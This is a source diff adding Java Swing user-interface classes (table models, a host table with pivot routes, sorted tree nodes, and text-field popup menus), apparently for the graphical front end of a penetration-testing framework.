SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_addEntry(row);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clear(final int newSize) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread())
|
||||||
|
_clear(newSize);
|
||||||
|
else
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_clear(newSize);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireListeners() {
|
||||||
|
if (SwingUtilities.isEventDispatchThread())
|
||||||
|
fireTableDataChanged();
|
||||||
|
else
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
fireTableDataChanged();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _addEntry(Map row) {
|
||||||
|
int size;
|
||||||
|
synchronized (this) {
|
||||||
|
if (hidden == true || !"1".equals( row.get("Hide") )) {
|
||||||
|
rows.add(row);
|
||||||
|
}
|
||||||
|
all.add(row);
|
||||||
|
size = rows.size() - 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _clear(int anticipatedSize) {
|
||||||
|
synchronized (this) {
|
||||||
|
rows = new ArrayList(anticipatedSize);
|
||||||
|
all = new ArrayList(anticipatedSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getRowCount() {
|
||||||
|
synchronized (this) {
|
||||||
|
return rows.size();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getValueAtColumn(JTable t, int row, String col) {
|
||||||
|
synchronized (this) {
|
||||||
|
row = t.convertRowIndexToModel(row);
|
||||||
|
|
||||||
|
Map temp = (Map)rows.get(row);
|
||||||
|
return temp.get(col);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getValueAt(int row, int col) {
|
||||||
|
synchronized (this) {
|
||||||
|
if (row < rows.size()) {
|
||||||
|
Map temp = (Map)rows.get(row);
|
||||||
|
return temp.get(getColumnName(col));
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setValueAt(Object value, int row, int col) {
|
||||||
|
synchronized (this) {
|
||||||
|
Map temp = (Map)rows.get(row);
|
||||||
|
temp.put(getColumnName(col), value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,273 @@
|
||||||
|
package table;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import java.awt.image.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import ui.ATable;
|
||||||
|
|
||||||
|
import graph.Route;
|
||||||
|
import graph.GraphPopup;
|
||||||
|
|
||||||
|
public class NetworkTable extends JComponent implements ActionListener {
|
||||||
|
protected JScrollPane scroller = null;
|
||||||
|
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
isAlive = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isAlive() {
|
||||||
|
return isAlive;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Image getScreenshot() {
|
||||||
|
BufferedImage image = new BufferedImage(getWidth(), getHeight(), BufferedImage.TYPE_4BYTE_ABGR);
|
||||||
|
Graphics g = image.getGraphics();
|
||||||
|
paint(g);
|
||||||
|
g.dispose();
|
||||||
|
return image;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean isAlive = true;
|
||||||
|
|
||||||
|
protected GraphPopup popup = null;
|
||||||
|
|
||||||
|
public void setGraphPopup(GraphPopup popup) {
|
||||||
|
this.popup = popup;
|
||||||
|
}
|
||||||
|
|
||||||
|
public NetworkTable() {
|
||||||
|
this(new Properties());
|
||||||
|
}
|
||||||
|
|
||||||
|
protected GenericTableModel model;
|
||||||
|
protected JTable table;
|
||||||
|
|
||||||
|
public NetworkTable(Properties display) {
|
||||||
|
this.display = display;
|
||||||
|
|
||||||
|
model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256);
|
||||||
|
table = new ATable(model);
|
||||||
|
TableRowSorter sorter = new TableRowSorter(model);
|
||||||
|
sorter.toggleSortOrder(1);
|
||||||
|
|
||||||
|
Comparator hostCompare = new Comparator() {
|
||||||
|
public int compare(Object a, Object b) {
|
||||||
|
long aa = Route.ipToLong(a + "");
|
||||||
|
long bb = Route.ipToLong(b + "");
|
||||||
|
|
||||||
|
if (aa > bb) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else if (aa < bb) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean equals(Object a, Object b) {
|
||||||
|
return (a + "").equals(b + "");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
sorter.setComparator(1, hostCompare);
|
||||||
|
sorter.setComparator(3, hostCompare);
|
||||||
|
|
||||||
|
table.setRowSorter(sorter);
|
||||||
|
table.setColumnSelectionAllowed(false);
|
||||||
|
|
||||||
|
table.getColumn("Address").setPreferredWidth(125);
|
||||||
|
table.getColumn("Pivot").setPreferredWidth(125);
|
||||||
|
table.getColumn(" ").setPreferredWidth(32);
|
||||||
|
table.getColumn(" ").setMaxWidth(32);
|
||||||
|
table.getColumn("Description").setPreferredWidth(500);
|
||||||
|
|
||||||
|
final TableCellRenderer parent = table.getDefaultRenderer(Object.class);
|
||||||
|
table.setDefaultRenderer(Object.class, new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
||||||
|
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
|
||||||
|
|
||||||
|
if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) {
|
||||||
|
component.setFont(component.getFont().deriveFont(Font.BOLD));
|
||||||
|
}
|
||||||
|
else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) {
|
||||||
|
component.setFont(component.getFont().deriveFont(Font.BOLD));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
component.setFont(component.getFont().deriveFont(Font.PLAIN));
|
||||||
|
}
|
||||||
|
|
||||||
|
String tip = model.getValueAt(table, row, "Tooltip") + "";
|
||||||
|
|
||||||
|
if (tip.length() > 0) {
|
||||||
|
component.setToolTipText(tip);
|
||||||
|
}
|
||||||
|
return component;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
table.getColumn(" ").setCellRenderer(new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
|
||||||
|
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
|
||||||
|
component.setIcon(new ImageIcon((Image)model.getValueAt(table, row, "Image")));
|
||||||
|
component.setText("");
|
||||||
|
|
||||||
|
String tip = model.getValueAt(table, row, "Tooltip") + "";
|
||||||
|
|
||||||
|
if (tip.length() > 0) {
|
||||||
|
component.setToolTipText(tip);
|
||||||
|
}
|
||||||
|
|
||||||
|
return component;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
table.addMouseListener(new MouseAdapter() {
|
||||||
|
public void all(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
popup.showGraphPopup(getSelectedHosts(), ev);
|
||||||
|
ev.consume();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) { all(ev); }
|
||||||
|
public void mousePressed(MouseEvent ev) { all(ev); }
|
||||||
|
public void mouseReleased(MouseEvent ev) { all(ev); }
|
||||||
|
});
|
||||||
|
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
scroller = new JScrollPane(table);
|
||||||
|
add(scroller, BorderLayout.CENTER);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected LinkedList rows = new LinkedList();
|
||||||
|
|
||||||
|
public void setTransferHandler(TransferHandler t) {
|
||||||
|
table.setTransferHandler(t);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fixSelection(int rows[]) {
|
||||||
|
if (rows.length == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
table.getSelectionModel().setValueIsAdjusting(true);
|
||||||
|
|
||||||
|
int rowcount = table.getModel().getRowCount();
|
||||||
|
|
||||||
|
for (int x = 0; x < rows.length; x++) {
|
||||||
|
if (rows[x] < rowcount) {
|
||||||
|
table.getSelectionModel().addSelectionInterval(rows[x], rows[x]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
table.getSelectionModel().setValueIsAdjusting(false);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void end() {
|
||||||
|
final int[] selected = table.getSelectedRows();
|
||||||
|
|
||||||
|
model.clear(rows.size());
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
model.addEntry((Map)i.next());
|
||||||
|
}
|
||||||
|
rows.clear();
|
||||||
|
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
model.fireListeners();
|
||||||
|
fixSelection(selected);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
model.fireListeners();
|
||||||
|
fixSelection(selected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** delete all nodes that were not "touched" since start() was last called */
|
||||||
|
public void deleteNodes() {
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Properties display;
|
||||||
|
|
||||||
|
/** highlight a route (maybe to show it's in use...) */
|
||||||
|
public void highlightRoute(String src, String dst) {
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map temp = (Map)i.next();
|
||||||
|
if (temp.get("Address").equals(dst) && temp.get("Pivot").equals(src)) {
|
||||||
|
temp.put("Active", Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** show the meterpreter routes . :) */
|
||||||
|
public void setRoutes(Route[] routes) {
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map temp = (Map)i.next();
|
||||||
|
for (int x = 0; x < routes.length; x++) {
|
||||||
|
Route r = routes[x];
|
||||||
|
if (r.shouldRoute(temp.get("Address") + ""))
|
||||||
|
temp.put("Pivot", r.getGateway());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getCellAt(Point p) {
|
||||||
|
String[] x = getSelectedHosts();
|
||||||
|
if (x.length > 0) {
|
||||||
|
return x[0];
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String[] getSelectedHosts() {
|
||||||
|
Object[] sels = model.getSelectedValues(table);
|
||||||
|
String[] vals = new String[sels.length];
|
||||||
|
for (int x = 0; x < sels.length; x++) {
|
||||||
|
vals[x] = sels[x] + "";
|
||||||
|
}
|
||||||
|
return vals;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setAutoLayout(String layout) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object addNode(String id, String label, Image image, String tooltip) {
|
||||||
|
if (id == null || label == null)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put("Address", id);
|
||||||
|
|
||||||
|
if (label.indexOf(id) > -1)
|
||||||
|
label = label.substring(id.length());
|
||||||
|
map.put("Description", label);
|
||||||
|
map.put("Tooltip", tooltip);
|
||||||
|
map.put("Image", image);
|
||||||
|
map.put(" ", tooltip);
|
||||||
|
map.put("Pivot", "");
|
||||||
|
map.put("Active", Boolean.FALSE);
|
||||||
|
rows.add(map);
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,153 @@
|
||||||
|
package tree;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.tree.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** implements a TreeNode that:
|
||||||
|
1. stores children in sorted order
|
||||||
|
2. requires unique children
|
||||||
|
3. provides a thread safe add(), mark(), and reset() operations
|
||||||
|
|
||||||
|
|
||||||
|
*/
|
||||||
|
public class SimpleTreeNode implements TreeNode {
|
||||||
|
protected TreeNode parent;
|
||||||
|
protected Object data;
|
||||||
|
|
||||||
|
protected List children = new LinkedList();
|
||||||
|
protected Set marked = null;
|
||||||
|
|
||||||
|
protected TreeModel model;
|
||||||
|
|
||||||
|
public SimpleTreeNode(TreeModel model, TreeNode parent, Object data) {
|
||||||
|
this.model = model;
|
||||||
|
this.parent = parent;
|
||||||
|
this.data = data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setModel(TreeModel model) {
|
||||||
|
this.model = model;
|
||||||
|
}
|
||||||
|
|
||||||
|
public SimpleTreeNode(TreeNode parent, Object data) {
|
||||||
|
this.parent = parent;
|
||||||
|
this.data = data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Enumeration children() {
|
||||||
|
return Collections.enumeration(children);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void add(final TreeNode node) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_add(node);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_add(node);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TreeNode findChild(Object o) {
|
||||||
|
Iterator i = children.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
SimpleTreeNode node = (SimpleTreeNode)i.next();
|
||||||
|
if (o.equals(node.getData()))
|
||||||
|
return node;
|
||||||
|
}
|
||||||
|
System.err.println("Child not found: " + o + " vs. " + children);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getData() {
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mark() {
|
||||||
|
synchronized (this) {
|
||||||
|
marked = new HashSet();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void reset() {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_reset();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_reset();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _reset() {
|
||||||
|
Iterator i = children.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Object node = i.next();
|
||||||
|
if (!marked.contains(node))
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (model instanceof DefaultTreeModel)
|
||||||
|
((DefaultTreeModel)model).nodeStructureChanged(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _add(TreeNode node) {
|
||||||
|
ListIterator i = children.listIterator();
|
||||||
|
String represent = node.toString().toLowerCase();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Object next = i.next();
|
||||||
|
if (next.toString().toLowerCase().equals(represent)) {
|
||||||
|
synchronized(this) {
|
||||||
|
marked.add(next);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (represent.compareTo(next.toString().toLowerCase()) < 0) {
|
||||||
|
synchronized (this) {
|
||||||
|
i.add(node);
|
||||||
|
marked.add(node);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
children.add(node);
|
||||||
|
synchronized (this) {
|
||||||
|
marked.add(node);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean getAllowsChildren() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public TreeNode getChildAt(int index) {
|
||||||
|
return (TreeNode)children.get(index);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getChildCount() {
|
||||||
|
return children.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getIndex(TreeNode node) {
|
||||||
|
return children.indexOf(node);
|
||||||
|
}
|
||||||
|
|
||||||
|
public TreeNode getParent() {
|
||||||
|
return parent;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isLeaf() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return data.toString();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,191 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.filechooser.*;
|
||||||
|
import table.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public class ATable extends JTable {
|
||||||
|
protected boolean alternateBackground = false;
|
||||||
|
|
||||||
|
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
||||||
|
final Set specialitems = new HashSet();
|
||||||
|
specialitems.add("PAYLOAD");
|
||||||
|
specialitems.add("RHOST");
|
||||||
|
specialitems.add("RHOSTS");
|
||||||
|
specialitems.add("Template");
|
||||||
|
specialitems.add("DICTIONARY");
|
||||||
|
specialitems.add("NAMELIST");
|
||||||
|
specialitems.add("SigningKey");
|
||||||
|
specialitems.add("SigningCert");
|
||||||
|
specialitems.add("WORDLIST");
|
||||||
|
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
String content = (value != null ? value : "") + "";
|
||||||
|
|
||||||
|
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
||||||
|
content = content + " \u271A";
|
||||||
|
}
|
||||||
|
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
||||||
|
c.setToolTipText(((GenericTableModel)model).getValueAtColumn(table, row, "Tooltip") + "");
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static TableCellRenderer getFileTypeTableRenderer() {
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
|
||||||
|
|
||||||
|
if ("dir".equals(value)) {
|
||||||
|
FileSystemView view = FileSystemView.getFileSystemView();
|
||||||
|
Icon chooser = view.getSystemIcon(view.getDefaultDirectory());
|
||||||
|
((JLabel)c).setIcon(chooser);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
((JLabel)c).setIcon(null);
|
||||||
|
}
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static TableCellRenderer getSimpleTableRenderer() {
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, value, isSelected, false, row, column);
|
||||||
|
((JLabel)c).setIcon(null);
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static TableCellRenderer getSizeTableRenderer() {
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
|
||||||
|
|
||||||
|
try {
|
||||||
|
long size = Long.parseLong(value + "");
|
||||||
|
String units = "b";
|
||||||
|
|
||||||
|
if (size > 1024) {
|
||||||
|
size = size / 1024;
|
||||||
|
units = "kb";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 1024) {
|
||||||
|
size = size / 1024;
|
||||||
|
units = "mb";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 1024) {
|
||||||
|
size = size / 1024;
|
||||||
|
units = "gb";
|
||||||
|
}
|
||||||
|
|
||||||
|
((JLabel)c).setText(size + units);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public void adjust() {
|
||||||
|
setShowGrid(false);
|
||||||
|
setIntercellSpacing(new Dimension(0, 0));
|
||||||
|
setRowHeight(getRowHeight() + 2);
|
||||||
|
|
||||||
|
final TableCellEditor defaulte = getDefaultEditor(Object.class);
|
||||||
|
setDefaultEditor(Object.class, new TableCellEditor() {
|
||||||
|
public Component getTableCellEditorComponent(JTable table, Object value, boolean selected, int row, int col) {
|
||||||
|
Component editor = defaulte.getTableCellEditorComponent(table, value, selected, row, col);
|
||||||
|
if (editor instanceof JTextComponent)
|
||||||
|
new CutCopyPastePopup((JTextComponent)editor);
|
||||||
|
|
||||||
|
return editor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addCellEditorListener(CellEditorListener l) {
|
||||||
|
defaulte.addCellEditorListener(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void cancelCellEditing() {
|
||||||
|
defaulte.cancelCellEditing();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getCellEditorValue() {
|
||||||
|
return defaulte.getCellEditorValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCellEditable(EventObject anEvent) {
|
||||||
|
return defaulte.isCellEditable(anEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void removeCellEditorListener(CellEditorListener l) {
|
||||||
|
defaulte.removeCellEditorListener(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean shouldSelectCell(EventObject anEvent) {
|
||||||
|
return defaulte.shouldSelectCell(anEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean stopCellEditing() {
|
||||||
|
return defaulte.stopCellEditing();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
final TableCellRenderer defaultr = getDefaultRenderer(Object.class);
|
||||||
|
setDefaultRenderer(Object.class, new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
if (value == null) {
|
||||||
|
value = "";
|
||||||
|
}
|
||||||
|
return defaultr.getTableCellRendererComponent(table, value, isSelected, false, row, column);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public ATable() {
|
||||||
|
super();
|
||||||
|
adjust();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ATable(TableModel model) {
|
||||||
|
super(model);
|
||||||
|
adjust();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Component prepareRenderer(TableCellRenderer renderer, int row, int column) {
|
||||||
|
alternateBackground = row % 2 == 0;
|
||||||
|
Component component = super.prepareRenderer(renderer, row, column);
|
||||||
|
//((JComponent)component).setBorder(BorderFactory.createEmptyBorder(120, 80, 120, 80));
|
||||||
|
|
||||||
|
if (!Color.WHITE.equals(component.getForeground())) {
|
||||||
|
((JComponent)component).setOpaque(true);
|
||||||
|
component.setBackground(getComponentBackground());
|
||||||
|
}
|
||||||
|
return component;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Color getComponentBackground() {
|
||||||
|
return alternateBackground ? new Color(0xF2F2F2) : Color.WHITE;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,94 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
|
||||||
|
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
|
||||||
|
public class ATextField extends JTextField {
|
||||||
|
protected JPopupMenu menu = null;
|
||||||
|
|
||||||
|
public ATextField(int cols) {
|
||||||
|
super(cols);
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ATextField(Document doc, String text, int cols) {
|
||||||
|
super(doc, text, cols);
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ATextField(String text, int cols) {
|
||||||
|
super(text, cols);
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ATextField() {
|
||||||
|
super();
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createMenu() {
|
||||||
|
if (menu != null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
menu = new JPopupMenu();
|
||||||
|
JMenuItem cut = new JMenuItem("Cut", 'C');
|
||||||
|
JMenuItem copy = new JMenuItem("Copy", 'o');
|
||||||
|
JMenuItem paste = new JMenuItem("Paste", 'P');
|
||||||
|
JMenuItem clear = new JMenuItem("Clear", 'l');
|
||||||
|
|
||||||
|
cut.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
cut();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
copy.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
copy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
paste.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
paste();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
clear.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
menu.add(cut);
|
||||||
|
menu.add(copy);
|
||||||
|
menu.add(paste);
|
||||||
|
menu.add(clear);
|
||||||
|
|
||||||
|
addMouseListener(new MouseAdapter() {
|
||||||
|
public void handle(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,16 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.tree.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public class ATree extends JTree {
|
||||||
|
public ATree(TreeNode root) {
|
||||||
|
super(root);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean getScrollableTracksViewportWidth() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,56 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
|
||||||
|
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
|
||||||
|
public class CopyPopup {
|
||||||
|
protected JPopupMenu menu = null;
|
||||||
|
protected JTextComponent component = null;
|
||||||
|
|
||||||
|
public CopyPopup(JTextComponent component) {
|
||||||
|
this.component = component;
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createMenu() {
|
||||||
|
if (menu != null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
menu = new JPopupMenu();
|
||||||
|
JMenuItem copy = new JMenuItem("Copy", 'o');
|
||||||
|
|
||||||
|
copy.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
component.copy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
menu.add(copy);
|
||||||
|
|
||||||
|
component.addMouseListener(new MouseAdapter() {
|
||||||
|
public void handle(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
